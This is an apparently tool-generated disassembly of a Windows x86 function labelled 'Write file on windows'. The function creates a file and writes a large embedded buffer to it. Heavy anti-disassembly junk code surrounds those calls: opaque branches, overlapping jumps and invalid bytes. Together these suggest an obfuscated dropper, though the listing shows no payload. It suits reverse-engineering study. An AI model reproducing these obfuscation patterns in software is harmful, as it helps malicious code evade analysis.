Function at 0x5d0314
Capabilities:
Write file on windows

Disassembly:
jae 0x5d02a1
jmp 0x5d029c
call fcn.005d02a3
jae 0x5d029c
add esp, 4
jmp 0x5d02a8
dec dword [esp]
jno 0x5d02ad
jns 0x5d0298
jp 0x5d02b1
add esp, 4
popf
jmp 0x5d02b8
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d02d1
cmp eax, 0x750374f2
add eax, ebp
je 0x5d02d6
jne 0x5d02d6
call 0x101d362a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d02f0
jne 0x5d02ef
call 0x8360f377
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d02fe
jne 0x5d02fe
mov al, 0x7c
add ebp, ebx
add esi, dword [eax - 0x6399048c]
jl 0x5d0303
jmp 0x5d0305
je 0x5d0300
pushf
push 0xa
jae 0x5d0312
jmp 0x5d030d
call 0x5d0314
jae 0x5d030d
add esp, 4
jmp 0x5d0319
dec dword [esp]
jno 0x5d031e
jns 0x5d0309
jp 0x5d0322
add esp, 4
popf
jmp 0x5d0329
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0342
or eax, 0x750374b0
add eax, ebp
je 0x5d0347
jne 0x5d0347
call 0x101d369b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0361
jne 0x5d0360
call 0x8360f3e8
rol byte [ebx + eax*4], 0xf0
add eax, 0x8068006a
add byte [eax], al
add byte [edx + 2], ch
xor eax, 3
add eax, 4
xor eax, 5
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
je 0x5d0391
jne 0x5d0391
push ss
jl 0x5d0396
jmp 0x5d0398
je 0x5d0393
pushf
push 0xa
jae 0x5d03a5
jmp 0x5d03a0
call 0x5d03a7
jae 0x5d03a0
add esp, 4
jmp 0x5d03ac
dec dword [esp]
jno 0x5d03b1
jns 0x5d039c
jp 0x5d03b5
add esp, 4
popf
jmp 0x5d03bc
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d03d5
fist word [esi]
je 0x5d03da
jne 0x5d03da
call 0x101d372e
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d03f4
jne 0x5d03f3
call 0x8360f47b
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d0402
jne 0x5d0402
jns 0x5d047f
jl 0x5d0407
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x5d0409
je 0x5d0404
pushf
push 0xa
jae 0x5d0416
jmp 0x5d0411
call 0x5d0418
jae 0x5d0411
add esp, 4
jmp 0x5d041d
dec dword [esp]
jno 0x5d0422
jns 0x5d040d
jp 0x5d0426
add esp, 4
popf
jmp 0x5d042d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0446
mov ah, 0x79
je 0x5d044b
jne 0x5d044b
call 0x101d379f
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0465
jne 0x5d0464
call 0x8360f4ec
rol byte [ebx + eax*4], 0xf0
add eax, 0x9be8046a
mov eax, 0xc483fffb
add al, 0x89
inc ebp
invalid
xor eax, 3
add eax, 4
xor eax, 5
push 4
call fcn.0058bd10
add esp, 4
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
push 0xa8ff0
push 0x6cef20
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x5d049a
invalid
jne 0x5d049a
fdivr qword [ebx + eax - 0x15]
add ebx, esp
jl 0x5d049f
jmp 0x5d04a1
je 0x5d049c
pushf
push 0xa
jae 0x5d04ae
jmp 0x5d04a9
call 0x5d04b0
jae 0x5d04a9
add esp, 4
jmp 0x5d04b5
dec dword [esp]
jno 0x5d04ba
jns 0x5d04a5
jp 0x5d04be
add esp, 4
popf
jmp 0x5d04c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d04de
mov esp, ebx
je 0x5d04e3
jne 0x5d04e3
call 0x101d3837
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d04fd
jne 0x5d04fc
call 0x8360f584
rol byte [ebx + eax*4], 0xf0
add eax, 0x50f8458b
xor eax, 3
add eax, 4
xor eax, 5
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x5d0515
jne 0x5d0515
inc edx
jl 0x5d051a
jmp 0x5d051c
je 0x5d0517
pushf
push 0xa
jae 0x5d0529
jmp 0x5d0524
call 0x5d052b
jae 0x5d0524
add esp, 4
jmp 0x5d0530
dec dword [esp]
jno 0x5d0535
jns 0x5d0520
jp 0x5d0539
add esp, 4
popf
jmp 0x5d0540
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0559
pop esi
inc edx
je 0x5d055e
jne 0x5d055e
call 0x101d38b2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0578
jne 0x5d0577
call 0x8360f5ff
rol byte [ebx + eax*4], 0xf0
add eax, 0xc35de58b
int3
xor eax, 3
add eax, 4
xor eax, 5
mov esp, ebp
pop ebp
ret